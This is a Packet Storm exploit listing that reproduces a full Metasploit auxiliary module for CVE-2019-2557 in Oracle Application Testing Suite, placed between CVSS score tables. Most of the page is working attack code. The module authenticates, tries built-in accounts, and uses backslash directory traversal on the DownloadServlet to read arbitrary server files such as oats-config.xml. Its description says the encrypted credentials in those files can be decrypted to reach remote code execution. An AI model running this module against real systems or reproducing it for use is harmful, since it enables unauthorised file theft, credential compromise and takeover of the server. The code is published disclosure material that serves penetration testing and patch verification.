Lucene search

K
packetstormSinn3r, Steven Seeley, metasploit.comPACKETSTORM:180615
HistoryAug 31, 2024 - 12:00 a.m.

Oracle Application Testing Suite Post-Auth DownloadServlet Directory Traversal

2024-08-3100:00:00
sinn3r, Steven Seeley, metasploit.com
packetstormsecurity.com
36
oracle application testing suite
post-auth
downloadservlet
directory traversal
remote code execution
custom report template
authentication

CVSS2

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

CVSS3

6.3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

LOW

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

AI Score

7

Confidence

Low

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'rkelly'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Oracle Application Testing Suite Post-Auth DownloadServlet Directory Traversal',  
'Description' => %q{  
This module exploits a vulnerability in Oracle Application Testing Suite (OATS). In the Load  
Testing interface, a remote user can abuse the custom report template selector, and cause the  
DownloadServlet class to read any file on the server as SYSTEM. Since the Oracle application  
contains multiple configuration files that include encrypted credentials, and that there are  
public resources for decryption, it is actually possible to gain remote code execution  
by leveraging this directory traversal attack.  
  
Please note that authentication is required. By default, OATS has two built-in accounts:  
default and administrator. You could try to target those first.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Steven Seeley', # Original discovery  
'sinn3r' # Metasploit module  
],  
'DefaultOptions' =>  
{  
'RPORT' => 8088  
},  
'References' =>  
[  
['CVE', '2019-2557'],  
['URL', 'https://srcincite.io/advisories/src-2019-0033/'],  
['URL', 'https://www.oracle.com/security-alerts/cpuapr2019.html']  
],  
'DisclosureDate' => '2019-04-16'  
))  
  
register_options(  
[  
OptString.new('FILE', [true, 'The name of the file to download', 'oats-config.xml']),  
OptInt.new('DEPTH', [true, 'The max traversal depth', 1]),  
OptString.new('OATSUSERNAME', [true, 'The username to use for Oracle', 'default']),  
OptString.new('OATSPASSWORD', [true, 'The password to use for Oracle']),  
])  
end  
  
class OracleAuthSpec  
attr_accessor :loop_value  
attr_accessor :afr_window_id  
attr_accessor :adf_window_id  
attr_accessor :adf_ads_page_id  
attr_accessor :adf_page_id  
attr_accessor :form_value  
attr_accessor :session_id  
attr_accessor :view_direct  
attr_accessor :view_state  
end  
  
# OATS ships LoadTest500VU_Build1 and LoadTest500VU_Build2 by default,  
# and there is no way to remove it from the user interface, so this should be  
# safe to say that there will always there.  
DEFAULT_SESSION = 'LoadTest500VU_Build1'  
  
def auth_spec  
@auth_spec ||= OracleAuthSpec.new  
end  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'olt/')  
})  
  
if res && res.body.include?('AdfLoopbackUtils.runLoopback')  
Exploit::CheckCode::Detected  
else  
Exploit::CheckCode::Safe  
end  
end  
  
def load_runloopback_args(res)  
html = res.get_html_document  
rk = RKelly::Parser.new  
script = html.at('script').text  
ast = rk.parse(script)  
runloopback = ast.grep(RKelly::Nodes::ExpressionStatementNode).last  
runloopback_args = runloopback.value.arguments.value  
auth_spec.loop_value = runloopback_args[2].value.scan(/'(.+)'/).flatten.first  
auth_spec.afr_window_id = runloopback_args[7].value.scan(/'(.+)'/).flatten.first  
  
json_args = runloopback_args[17]  
auth_spec.adf_window_id = json_args.value[4].value.value.to_s  
auth_spec.adf_page_id = json_args.value[5].value.value.to_s  
end  
  
def load_view_redirect_value(res)  
html = res.get_html_document  
rk = RKelly::Parser.new  
script = html.at('script').text  
ast = rk.parse(script)  
runredirect = ast.grep(RKelly::Nodes::ExpressionStatementNode).last  
runredirect_args = runredirect.value.arguments.value  
redirect_arg = runredirect_args[1].value.scan(/'(.+)'/).flatten.first || ''  
auth_spec.view_direct = redirect_arg.scan(/ORA_ADF_VIEW_REDIRECT=(\d+);/).flatten.first  
auth_spec.adf_page_id = redirect_arg.scan(/ORA_ADF_VIEW_PAGE_ID=(s\d+);/).flatten.first  
end  
  
def collect_initial_spec  
uri = normalize_uri(target_uri.path, 'olt', 'faces', 'login')  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => uri,  
})  
  
fail_with(Failure::Unknown, 'No response from server') unless res  
cookies = res.get_cookies  
session_id = cookies.scan(/JSESSIONID=(.+);/i).flatten.first || ''  
auth_spec.session_id = session_id  
load_runloopback_args(res)  
end  
  
def prepare_auth_spec  
collect_initial_spec  
uri = normalize_uri(target_uri.path, 'olt', 'faces', 'login')  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => uri,  
'cookie' => "JSESSIONID=#{auth_spec.session_id}",  
'vars_get' =>  
{  
'_afrLoop' => auth_spec.loop_value,  
'_afrWindowMode' => '0',  
'Adf-Window-Id' => auth_spec.adf_window_id  
},  
'headers' =>  
{  
'Upgrade-Insecure-Requests' => '1'  
}  
})  
  
fail_with(Failure::Unknown, 'No response from server') unless res  
hidden_inputs = res.get_hidden_inputs.first  
auth_spec.form_value = hidden_inputs['org.apache.myfaces.trinidad.faces.FORM']  
auth_spec.view_state = hidden_inputs['javax.faces.ViewState']  
end  
  
def ota_login!  
prepare_auth_spec  
uri = normalize_uri(target_uri.path, 'olt', 'faces', 'login')  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => uri,  
'cookie' => "JSESSIONID=#{auth_spec.session_id}",  
'headers' =>  
{  
'Upgrade-Insecure-Requests' => '1'  
},  
'vars_post' =>  
{  
'userName' => datastore['OATSUSERNAME'],  
'password' => datastore['OATSPASSWORD'],  
'org.apache.myfaces.trinidad.faces.FORM' => auth_spec.form_value,  
'Adf-Window-Id' => auth_spec.adf_window_id,  
'javax.faces.ViewState' => auth_spec.view_state,  
'Adf-Page-Id' => auth_spec.adf_page_id,  
'event' => 'btnSubmit',  
'event.btnSubmit' => '<m xmlns="http://oracle.com/richClient/comm"><k v="type"><s>action</s></k></m>'  
}  
})  
  
fail_with(Failure::Unknown, 'No response from server') unless res  
if res.body.include?('Login failed')  
fail_with(Failure::NoAccess, 'Login failed')  
else  
store_valid_credential(user: datastore['OATSUSERNAME'], private: datastore['OATSPASSWORD'])  
load_view_redirect_value(res)  
end  
end  
  
def load_file  
uri = normalize_uri(target_uri.path, 'olt', 'download')  
dots = '..\\' * datastore['DEPTH']  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => uri,  
'cookie' => "JSESSIONID=#{auth_spec.session_id}",  
'vars_get' =>  
{  
'type' => 'template',  
'session' => DEFAULT_SESSION,  
'name' => "#{dots}#{datastore['FILE']}"  
},  
'headers' =>  
{  
'Upgrade-Insecure-Requests' => '1'  
}  
})  
  
fail_with(Failure::Unknown, 'No response from server') unless res  
fail_with(Failure::Unknown, 'File not found') if res.body.include?('No content to display')  
res.body  
end  
  
def run  
ota_login!  
file = load_file  
print_line(file)  
store_loot('oats.file', 'application/octet-stream', rhost, file)  
end  
  
end  
`

CVSS2

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

CVSS3

6.3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

LOW

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

AI Score

7

Confidence

Low